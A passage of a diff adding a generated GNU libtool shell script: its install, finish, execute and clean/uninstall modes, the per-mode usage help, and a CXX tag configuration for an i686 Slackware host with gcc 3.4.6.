$? + + # Maybe install the static library, too. + test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library" + ;; + + *.lo) + # Install (i.e. copy) a libtool object. + + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile="$destdir/$destname" + else + destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + destfile="$destdir/$destfile" + fi + + # Deduce the name of the destination old-style object file. + case $destfile in + *.lo) + staticdest=`$echo "X$destfile" | $Xsed -e "$lo2o"` + ;; + *.$objext) + staticdest="$destfile" + destfile= + ;; + *) + $echo "$modename: cannot copy a libtool object to \`$destfile'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + # Install the libtool object if requested. + if test -n "$destfile"; then + $show "$install_prog $file $destfile" + $run eval "$install_prog $file $destfile" || exit $? + fi + + # Install the old object if enabled. + if test "$build_old_libs" = yes; then + # Deduce the name of the old-style object file. + staticobj=`$echo "X$file" | $Xsed -e "$lo2o"` + + $show "$install_prog $staticobj $staticdest" + $run eval "$install_prog \$staticobj \$staticdest" || exit $? + fi + exit $EXIT_SUCCESS + ;; + + *) + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile="$destdir/$destname" + else + destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + destfile="$destdir/$destfile" + fi + + # If the file is missing, and there is a .exe on the end, strip it + # because it is most likely a libtool script we actually want to + # install + stripped_ext="" + case $file in + *.exe) + if test ! -f "$file"; then + file=`$echo $file|${SED} 's,.exe$,,'` + stripped_ext=".exe" + fi + ;; + esac + + # Do a test to see if this is really a libtool program. + case $host in + *cygwin*|*mingw*) + wrapper=`$echo $file | ${SED} -e 's,.exe$,,'` + ;; + *) + wrapper=$file + ;; + esac + if (${SED} -e '4q' $wrapper | grep "^# Generated by .*$PACKAGE")>/dev/null 2>&1; then + notinst_deplibs= + relink_command= + + # Note that it is not necessary on cygwin/mingw to append a dot to + # foo even if both foo and FILE.exe exist: automatic-append-.exe + # behavior happens only for exec(3), not for open(2)! Also, sourcing + # `FILE.' does not work on cygwin managed mounts. + # + # If there is no directory component, then add one. + case $wrapper in + */* | *\\*) . ${wrapper} ;; + *) . ./${wrapper} ;; + esac + + # Check the variables that should have been set. + if test -z "$notinst_deplibs"; then + $echo "$modename: invalid libtool wrapper script \`$wrapper'" 1>&2 + exit $EXIT_FAILURE + fi + + finalize=yes + for lib in $notinst_deplibs; do + # Check to see that each library is installed. + libdir= + if test -f "$lib"; then + # If there is no directory component, then add one. + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + fi + libfile="$libdir/"`$echo "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test + if test -n "$libdir" && test ! -f "$libfile"; then + $echo "$modename: warning: \`$lib' has not been installed in \`$libdir'" 1>&2 + finalize=no + fi + done + + relink_command= + # Note that it is not necessary on cygwin/mingw to append a dot to + # foo even if both foo and FILE.exe exist: automatic-append-.exe + # behavior happens only for exec(3), not for open(2)! Also, sourcing + # `FILE.' does not work on cygwin managed mounts. + # + # If there is no directory component, then add one. + case $wrapper in + */* | *\\*) . ${wrapper} ;; + *) . ./${wrapper} ;; + esac + + outputname= + if test "$fast_install" = no && test -n "$relink_command"; then + if test "$finalize" = yes && test -z "$run"; then + tmpdir=`func_mktempdir` + file=`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'` + outputname="$tmpdir/$file" + # Replace the output file specification. + relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'` + + $show "$relink_command" + if $run eval "$relink_command"; then : + else + $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2 + ${rm}r "$tmpdir" + continue + fi + file="$outputname" + else + $echo "$modename: warning: cannot relink \`$file'" 1>&2 + fi + else + # Install the binary that we compiled earlier. + file=`$echo "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"` + fi + fi + + # remove .exe since cygwin /usr/bin/install will append another + # one anyway + case $install_prog,$host in + */usr/bin/install*,*cygwin*) + case $file:$destfile in + *.exe:*.exe) + # this is ok + ;; + *.exe:*) + destfile=$destfile.exe + ;; + *:*.exe) + destfile=`$echo $destfile | ${SED} -e 's,.exe$,,'` + ;; + esac + ;; + esac + $show "$install_prog$stripme $file $destfile" + $run eval "$install_prog\$stripme \$file \$destfile" || exit $? + test -n "$outputname" && ${rm}r "$tmpdir" + ;; + esac + done + + for file in $staticlibs; do + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + + # Set up the ranlib parameters. + oldlib="$destdir/$name" + + $show "$install_prog $file $oldlib" + $run eval "$install_prog \$file \$oldlib" || exit $? + + if test -n "$stripme" && test -n "$old_striplib"; then + $show "$old_striplib $oldlib" + $run eval "$old_striplib $oldlib" || exit $? + fi + + # Do each command in the postinstall commands. + cmds=$old_postinstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + done + + if test -n "$future_libdirs"; then + $echo "$modename: warning: remember to run \`$progname --finish$future_libdirs'" 1>&2 + fi + + if test -n "$current_libdirs"; then + # Maybe just do a dry run. + test -n "$run" && current_libdirs=" -n$current_libdirs" + exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs' + else + exit $EXIT_SUCCESS + fi + ;; + + # libtool finish mode + finish) + modename="$modename: finish" + libdirs="$nonopt" + admincmds= + + if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then + for dir + do + libdirs="$libdirs $dir" + done + + for libdir in $libdirs; do + if test -n "$finish_cmds"; then + # Do each command in the finish commands. + cmds=$finish_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || admincmds="$admincmds + $cmd" + done + IFS="$save_ifs" + fi + if test -n "$finish_eval"; then + # Do the single finish_eval. + eval cmds=\"$finish_eval\" + $run eval "$cmds" || admincmds="$admincmds + $cmds" + fi + done + fi + + # Exit here if they wanted silent mode. + test "$show" = : && exit $EXIT_SUCCESS + + $echo "X----------------------------------------------------------------------" | $Xsed + $echo "Libraries have been installed in:" + for libdir in $libdirs; do + $echo " $libdir" + done + $echo + $echo "If you ever happen to want to link against installed libraries" + $echo "in a given directory, LIBDIR, you must either use libtool, and" + $echo "specify the full pathname of the library, or use the \`-LLIBDIR'" + $echo "flag during linking and do at least one of the following:" + if test -n "$shlibpath_var"; then + $echo " - add LIBDIR to the \`$shlibpath_var' environment variable" + $echo " during execution" + fi + if test -n "$runpath_var"; then + $echo " - add LIBDIR to the \`$runpath_var' environment variable" + $echo " during linking" + fi + if test -n "$hardcode_libdir_flag_spec"; then + libdir=LIBDIR + eval flag=\"$hardcode_libdir_flag_spec\" + + $echo " - use the \`$flag' linker flag" + fi + if test -n "$admincmds"; then + $echo " - have your system administrator run these commands:$admincmds" + fi + if test -f /etc/ld.so.conf; then + $echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'" + fi + $echo + $echo "See any operating system documentation about shared libraries for" + $echo "more information, such as the ld(1) and ld.so(8) manual pages." + $echo "X----------------------------------------------------------------------" | $Xsed + exit $EXIT_SUCCESS + ;; + + # libtool execute mode + execute) + modename="$modename: execute" + + # The first argument is the command name. + cmd="$nonopt" + if test -z "$cmd"; then + $echo "$modename: you must specify a COMMAND" 1>&2 + $echo "$help" + exit $EXIT_FAILURE + fi + + # Handle -dlopen flags immediately. + for file in $execute_dlfiles; do + if test ! -f "$file"; then + $echo "$modename: \`$file' is not a file" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + dir= + case $file in + *.la) + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Read the libtool library. + dlname= + library_names= + + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Skip this library if it cannot be dlopened. + if test -z "$dlname"; then + # Warn if it was a shared library. + test -n "$library_names" && $echo "$modename: warning: \`$file' was not linked with \`-export-dynamic'" + continue + fi + + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$file" && dir=. + + if test -f "$dir/$objdir/$dlname"; then + dir="$dir/$objdir" + else + $echo "$modename: cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" 1>&2 + exit $EXIT_FAILURE + fi + ;; + + *.lo) + # Just add the directory containing the .lo file. + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$file" && dir=. + ;; + + *) + $echo "$modename: warning \`-dlopen' is ignored for non-libtool libraries and objects" 1>&2 + continue + ;; + esac + + # Get the absolute pathname. + absdir=`cd "$dir" && pwd` + test -n "$absdir" && dir="$absdir" + + # Now add the directory to shlibpath_var. + if eval "test -z \"\$$shlibpath_var\""; then + eval "$shlibpath_var=\"\$dir\"" + else + eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\"" + fi + done + + # This variable tells wrapper scripts just to set shlibpath_var + # rather than running their programs. + libtool_execute_magic="$magic" + + # Check if any of the arguments is a wrapper script. + args= + for file + do + case $file in + -*) ;; + *) + # Do a test to see if this is really a libtool program. + if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Transform arg to wrapped name. + file="$progdir/$program" + fi + ;; + esac + # Quote arguments (to preserve shell metacharacters). + file=`$echo "X$file" | $Xsed -e "$sed_quote_subst"` + args="$args \"$file\"" + done + + if test -z "$run"; then + if test -n "$shlibpath_var"; then + # Export the shlibpath_var. + eval "export $shlibpath_var" + fi + + # Restore saved environment variables + if test "${save_LC_ALL+set}" = set; then + LC_ALL="$save_LC_ALL"; export LC_ALL + fi + if test "${save_LANG+set}" = set; then + LANG="$save_LANG"; export LANG + fi + + # Now prepare to actually exec the command. + exec_cmd="\$cmd$args" + else + # Display what would be done. + if test -n "$shlibpath_var"; then + eval "\$echo \"\$shlibpath_var=\$$shlibpath_var\"" + $echo "export $shlibpath_var" + fi + $echo "$cmd$args" + exit $EXIT_SUCCESS + fi + ;; + + # libtool clean and uninstall mode + clean | uninstall) + modename="$modename: $mode" + rm="$nonopt" + files= + rmforce= + exit_status=0 + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic="$magic" + + for arg + do + case $arg in + -f) rm="$rm $arg"; rmforce=yes ;; + -*) rm="$rm $arg" ;; + *) files="$files $arg" ;; + esac + done + + if test -z "$rm"; then + $echo "$modename: you must specify an RM program" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + rmdirs= + + origobjdir="$objdir" + for file in $files; do + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + if test "X$dir" = "X$file"; then + dir=. + objdir="$origobjdir" + else + objdir="$dir/$origobjdir" + fi + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + test "$mode" = uninstall && objdir="$dir" + + # Remember objdir for removal later, being careful to avoid duplicates + if test "$mode" = clean; then + case " $rmdirs " in + *" $objdir "*) ;; + *) rmdirs="$rmdirs $objdir" ;; + esac + fi + + # Don't error if the file doesn't exist and rm -f was used. + if (test -L "$file") >/dev/null 2>&1 \ + || (test -h "$file") >/dev/null 2>&1 \ + || test -f "$file"; then + : + elif test -d "$file"; then + exit_status=1 + continue + elif test "$rmforce" = yes; then + continue + fi + + rmfiles="$file" + + case $name in + *.la) + # Possibly a libtool archive, so verify it. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + . $dir/$name + + # Delete the libtool libraries and symlinks. + for n in $library_names; do + rmfiles="$rmfiles $objdir/$n" + done + test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library" + + case "$mode" in + clean) + case " $library_names " in + # " " in the beginning catches empty $dlname + *" $dlname "*) ;; + *) rmfiles="$rmfiles $objdir/$dlname" ;; + esac + test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i" + ;; + uninstall) + if test -n "$library_names"; then + # Do each command in the postuninstall commands. + cmds=$postuninstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" + if test "$?" -ne 0 && test "$rmforce" != yes; then + exit_status=1 + fi + done + IFS="$save_ifs" + fi + + if test -n "$old_library"; then + # Do each command in the old_postuninstall commands. + cmds=$old_postuninstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" + if test "$?" -ne 0 && test "$rmforce" != yes; then + exit_status=1 + fi + done + IFS="$save_ifs" + fi + # FIXME: should reinstall the best remaining shared library. + ;; + esac + fi + ;; + + *.lo) + # Possibly a libtool object, so verify it. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + + # Read the .lo file + . $dir/$name + + # Add PIC object to the list of files to remove. + if test -n "$pic_object" \ + && test "$pic_object" != none; then + rmfiles="$rmfiles $dir/$pic_object" + fi + + # Add non-PIC object to the list of files to remove. + if test -n "$non_pic_object" \ + && test "$non_pic_object" != none; then + rmfiles="$rmfiles $dir/$non_pic_object" + fi + fi + ;; + + *) + if test "$mode" = clean ; then + noexename=$name + case $file in + *.exe) + file=`$echo $file|${SED} 's,.exe$,,'` + noexename=`$echo $name|${SED} 's,.exe$,,'` + # $file with .exe has already been added to rmfiles, + # add $file without .exe + rmfiles="$rmfiles $file" + ;; + esac + # Do a test to see if this is a libtool program. + if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + relink_command= + . $dir/$noexename + + # note $name still contains .exe if it was in $file originally + # as does the version of $file that was added into $rmfiles + rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}" + if test "$fast_install" = yes && test -n "$relink_command"; then + rmfiles="$rmfiles $objdir/lt-$name" + fi + if test "X$noexename" != "X$name" ; then + rmfiles="$rmfiles $objdir/lt-${noexename}.c" + fi + fi + fi + ;; + esac + $show "$rm $rmfiles" + $run $rm $rmfiles || exit_status=1 + done + objdir="$origobjdir" + + # Try to remove the ${objdir}s in the directories where we deleted files + for dir in $rmdirs; do + if test -d "$dir"; then + $show "rmdir $dir" + $run rmdir $dir >/dev/null 2>&1 + fi + done + + exit $exit_status + ;; + + "") + $echo "$modename: you must specify a MODE" 1>&2 + $echo "$generic_help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + if test -z "$exec_cmd"; then + $echo "$modename: invalid operation mode \`$mode'" 1>&2 + $echo "$generic_help" 1>&2 + exit $EXIT_FAILURE + fi +fi # test -z "$show_help" + +if test -n "$exec_cmd"; then + eval exec $exec_cmd + exit $EXIT_FAILURE +fi + +# We need to display help for each of the modes. +case $mode in +"") $echo \ +"Usage: $modename [OPTION]... [MODE-ARG]... + +Provide generalized library-building support services. + + --config show all configuration variables + --debug enable verbose shell tracing +-n, --dry-run display commands without modifying any files + --features display basic configuration information and exit + --finish same as \`--mode=finish' + --help display this help message and exit + --mode=MODE use operation mode MODE [default=inferred from MODE-ARGS] + --quiet same as \`--silent' + --silent don't print informational messages + --tag=TAG use configuration variables from tag TAG + --version print version information + +MODE must be one of the following: + + clean remove files from the build directory + compile compile a source file into a libtool object + execute automatically set library path, then run a program + finish complete the installation of libtool libraries + install install libraries or executables + link create a library or an executable + uninstall remove libraries from an installed directory + +MODE-ARGS vary depending on the MODE. Try \`$modename --help --mode=MODE' for +a more detailed description of MODE. + +Report bugs to ." + exit $EXIT_SUCCESS + ;; + +clean) + $echo \ +"Usage: $modename [OPTION]... --mode=clean RM [RM-OPTION]... FILE... + +Remove files from the build directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed +to RM. + +If FILE is a libtool library, object or program, all the files associated +with it are deleted. Otherwise, only FILE itself is deleted using RM." + ;; + +compile) + $echo \ +"Usage: $modename [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE + +Compile a source file into a libtool library object. + +This mode accepts the following additional options: + + -o OUTPUT-FILE set the output file name to OUTPUT-FILE + -prefer-pic try to building PIC objects only + -prefer-non-pic try to building non-PIC objects only + -static always build a \`.o' file suitable for static linking + +COMPILE-COMMAND is a command to be used in creating a \`standard' object file +from the given SOURCEFILE. + +The output file name is determined by removing the directory component from +SOURCEFILE, then substituting the C source code suffix \`.c' with the +library object suffix, \`.lo'." + ;; + +execute) + $echo \ +"Usage: $modename [OPTION]... --mode=execute COMMAND [ARGS]... + +Automatically set library path, then run a program. + +This mode accepts the following additional options: + + -dlopen FILE add the directory containing FILE to the library path + +This mode sets the library path environment variable according to \`-dlopen' +flags. + +If any of the ARGS are libtool executable wrappers, then they are translated +into their corresponding uninstalled binary, and any of their required library +directories are added to the library path. + +Then, COMMAND is executed, with ARGS as arguments." + ;; + +finish) + $echo \ +"Usage: $modename [OPTION]... --mode=finish [LIBDIR]... + +Complete the installation of libtool libraries. + +Each LIBDIR is a directory that contains libtool libraries. + +The commands that this mode executes may require superuser privileges. Use +the \`--dry-run' option if you just want to see what would be executed." + ;; + +install) + $echo \ +"Usage: $modename [OPTION]... --mode=install INSTALL-COMMAND... + +Install executables or libraries. + +INSTALL-COMMAND is the installation command. The first component should be +either the \`install' or \`cp' program. + +The rest of the components are interpreted as arguments to that command (only +BSD-compatible install options are recognized)." + ;; + +link) + $echo \ +"Usage: $modename [OPTION]... --mode=link LINK-COMMAND... + +Link object files or libraries together to form another library, or to +create an executable program. + +LINK-COMMAND is a command using the C compiler that you would use to create +a program from several object files. + +The following components of LINK-COMMAND are treated specially: + + -all-static do not do any dynamic linking at all + -avoid-version do not add a version suffix if possible + -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at runtime + -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols + -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3) + -export-symbols SYMFILE + try to export only the symbols listed in SYMFILE + -export-symbols-regex REGEX + try to export only the symbols matching REGEX + -LLIBDIR search LIBDIR for required installed libraries + -lNAME OUTPUT-FILE requires the installed library libNAME + -module build a library that can dlopened + -no-fast-install disable the fast-install mode + -no-install link a not-installable executable + -no-undefined declare that a library does not refer to external symbols + -o OUTPUT-FILE create OUTPUT-FILE from the specified objects + -objectlist FILE Use a list of object files found in FILE to specify objects + -precious-files-regex REGEX + don't remove output files matching REGEX + -release RELEASE specify package release information + -rpath LIBDIR the created library will eventually be installed in LIBDIR + -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries + -static do not do any dynamic linking of libtool libraries + -version-info CURRENT[:REVISION[:AGE]] + specify library version info [each variable defaults to 0] + +All other options (arguments beginning with \`-') are ignored. + +Every other argument is treated as a filename. Files ending in \`.la' are +treated as uninstalled libtool libraries, other files are standard or library +object files. + +If the OUTPUT-FILE ends in \`.la', then a libtool library is created, +only library objects (\`.lo' files) may be specified, and \`-rpath' is +required, except when creating a convenience library. + +If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created +using \`ar' and \`ranlib', or on Windows using \`lib'. + +If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file +is created, otherwise an executable program is created." + ;; + +uninstall) + $echo \ +"Usage: $modename [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE... + +Remove libraries from an installation directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed +to RM. + +If FILE is a libtool library, all the files associated with it are deleted. +Otherwise, only FILE itself is deleted using RM." + ;; + +*) + $echo "$modename: invalid operation mode \`$mode'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; +esac + +$echo +$echo "Try \`$modename --help' for more information about other modes." + +exit $? + +# The TAGs below are defined such that we never get into a situation +# in which we disable both kinds of libraries. Given conflicting +# choices, we go for a static library, that is the most portable, +# since we can't tell whether shared libraries were disabled because +# the user asked for that or because the platform doesn't support +# them. This is particularly important on AIX, because we don't +# support having both static and shared libraries enabled at the same +# time on that platform, so we default to a shared-only configuration. +# If a disable-shared tag is given, we'll fallback to a static-only +# configuration. But we'll never go from static-only to shared-only. + +# ### BEGIN LIBTOOL TAG CONFIG: disable-shared +disable_libs=shared +# ### END LIBTOOL TAG CONFIG: disable-shared + +# ### BEGIN LIBTOOL TAG CONFIG: disable-static +disable_libs=static +# ### END LIBTOOL TAG CONFIG: disable-static + +# Local Variables: +# mode:shell-script +# sh-indentation:2 +# End: +# ### BEGIN LIBTOOL TAG CONFIG: CXX + +# Libtool was configured on host assdozer: + +# Shell to use when invoking shell scripts. +SHELL="/bin/sh" + +# Whether or not to build shared libraries. +build_libtool_libs=yes + +# Whether or not to build static libraries. +build_old_libs=yes + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=no + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=no + +# Whether or not to optimize for fast installation. +fast_install=yes + +# The host system. +host_alias= +host=i686-pc-linux-gnu + +# An echo program that does not interpret backslashes. +echo="echo" + +# The archiver. +AR="ar" +AR_FLAGS="cru" + +# A C compiler. +LTCC="gcc" + +# A language-specific compiler. +CC="g++" + +# Is the compiler the GNU C compiler? +with_gcc=yes + +# An ERE matcher. +EGREP="/usr/bin/grep -E" + +# The linker used to build libraries. +LD="/usr/i486-slackware-linux/bin/ld" + +# Whether we need hard or soft links. +LN_S="ln -s" + +# A BSD-compatible nm program. +NM="/usr/bin/nm -B" + +# A symbol stripping program +STRIP="strip" + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=file + +# Used on cygwin: DLL creation program. +DLLTOOL="dlltool" + +# Used on cygwin: object dumper. +OBJDUMP="objdump" + +# Used on cygwin: assembler. +AS="as" + +# The name of the directory that contains temporary libtool files. +objdir=.libs + +# How to create reloadable object files. +reload_flag=" -r" +reload_cmds="\$LD\$reload_flag -o \$output\$reload_objs" + +# How to pass a linker flag through the compiler. +wl="-Wl," + +# Object file suffix (normally "o"). +objext="o" + +# Old archive suffix (normally "a"). +libext="a" + +# Shared library suffix (normally ".so"). +shrext_cmds='.so' + +# Executable file suffix (normally ""). +exeext="" + +# Additional compiler flags for building library objects. +pic_flag=" -fPIC -DPIC" +pic_mode=default + +# What is the maximum length of a command? +max_cmd_len=32768 + +# Does compiler simultaneously support -c and -o options? +compiler_c_o="yes" + +# Must we lock files when doing compilation ? +need_locks="no" + +# Do we need the lib prefix for modules? +need_lib_prefix=no + +# Do we need a version for libraries? +need_version=no + +# Whether dlopen is supported. +dlopen_support=yes + +# Whether dlopen of programs is supported. +dlopen_self=yes + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=yes + +# Compiler flag to prevent dynamic linking. +link_static_flag="-static" + +# Compiler flag to turn off builtin functions. +no_builtin_flag=" -fno-builtin" + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec="\${wl}--export-dynamic" + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec="\${wl}--whole-archive\$convenience \${wl}--no-whole-archive" + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec="" + +# Library versioning type. +version_type=linux + +# Format of library name prefix. +libname_spec="lib\$name" + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec="\${libname}\${release}\${shared_ext}\$versuffix \${libname}\${release}\${shared_ext}\$major \$libname\${shared_ext}" + +# The coded name of the library, if different from the real name. +soname_spec="\${libname}\${release}\${shared_ext}\$major" + +# Commands used to build and install an old-style archive. +RANLIB="ranlib" +old_archive_cmds="\$AR \$AR_FLAGS \$oldlib\$oldobjs\$old_deplibs~\$RANLIB \$oldlib" +old_postinstall_cmds="\$RANLIB \$oldlib~chmod 644 \$oldlib" +old_postuninstall_cmds="" + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds="" + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds="" + +# Commands used to build and install a shared archive. +archive_cmds="\$CC -shared -nostdlib \$predep_objects \$libobjs \$deplibs \$postdep_objects \$compiler_flags \${wl}-soname \$wl\$soname -o \$lib" +archive_expsym_cmds="\$CC -shared -nostdlib \$predep_objects \$libobjs \$deplibs \$postdep_objects \$compiler_flags \${wl}-soname \$wl\$soname \${wl}-retain-symbols-file \$wl\$export_symbols -o \$lib" +postinstall_cmds="" +postuninstall_cmds="" + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds="" +module_expsym_cmds="" + +# Commands to strip libraries. +old_striplib="strip --strip-debug" +striplib="strip --strip-unneeded" + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects="/usr/lib/gcc/i486-slackware-linux/3.4.6/../../../crti.o /usr/lib/gcc/i486-slackware-linux/3.4.6/crtbeginS.o" + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects="/usr/lib/gcc/i486-slackware-linux/3.4.6/crtendS.o /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../crtn.o" + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps="" + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps="-lstdc++ -lm -lgcc_s -lc -lgcc_s" + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path="-L/usr/lib/gcc/i486-slackware-linux/3.4.6 -L/usr/lib/gcc/i486-slackware-linux/3.4.6 -L/usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib -L/usr/lib/gcc/i486-slackware-linux/3.4.6/../../.." + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method="pass_all" + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd="\$MAGIC_CMD" + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag="" + +# Flag that forces no undefined symbols. +no_undefined_flag="" + +# Commands used to finish a libtool library installation in a directory. +finish_cmds="PATH=\\\"\\\$PATH:/sbin\\\" ldconfig -n \$libdir" + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval="" + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe="sed -n -e 's/^.*[ ]\\([ABCDGIRSTW][ABCDGIRSTW]*\\)[ ][ ]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)\$/\\1 \\2\\3 \\3/p'" + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl="sed -n -e 's/^. .* \\(.*\\)\$/extern int \\1;/p'" + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address="sed -n -e 's/^: \\([^ ]*\\) \$/ {\\\"\\1\\\", (lt_ptr) 0},/p' -e 's/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)\$/ {\"\\2\", (lt_ptr) \\&\\2},/p'" + +# This is the shared library runtime path variable. +runpath_var=LD_RUN_PATH + +# This is the shared library path variable. +shlibpath_var=LD_LIBRARY_PATH + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=no + +# How to hardcode a shared library path into an executable. +hardcode_action=immediate + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=yes + +# Flag to hardcode $libdir into a binary during linking. +# This must work even if $libdir does not exist. +hardcode_libdir_flag_spec="\${wl}--rpath \${wl}\$libdir" + +# If ld is used when linking, flag to hardcode $libdir into +# a binary during linking. This must work even if $libdir does +# not exist. +hardcode_libdir_flag_spec_ld="" + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator="" + +# Set to yes if using DIR/libNAME during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=no + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=no + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var= + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=no + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="PATH LD_LIBRARY_PATH LD_RUN_PATH GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=unknown + +# Compile-time system search path for libraries +sys_lib_search_path_spec=" /usr/lib/gcc/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../ /lib/i486-slackware-linux/3.4.6/ /lib/ /usr/lib/i486-slackware-linux/3.4.6/ /usr/lib/" + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec="/lib /usr/lib /usr/local/lib /usr/X11R6/lib /usr/i486-slackware-linux/lib /opt/kde/lib " + +# Fix the shell variable $srcfile for the compiler. +fix_srcfile_path="" + +# Set to yes if exported symbols are required. +always_export_symbols=no + +# The commands to list exported symbols. +export_symbols_cmds="\$NM \$libobjs \$convenience | \$global_symbol_pipe | \$SED 's/.* //' | sort | uniq > \$export_symbols" + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds="" + 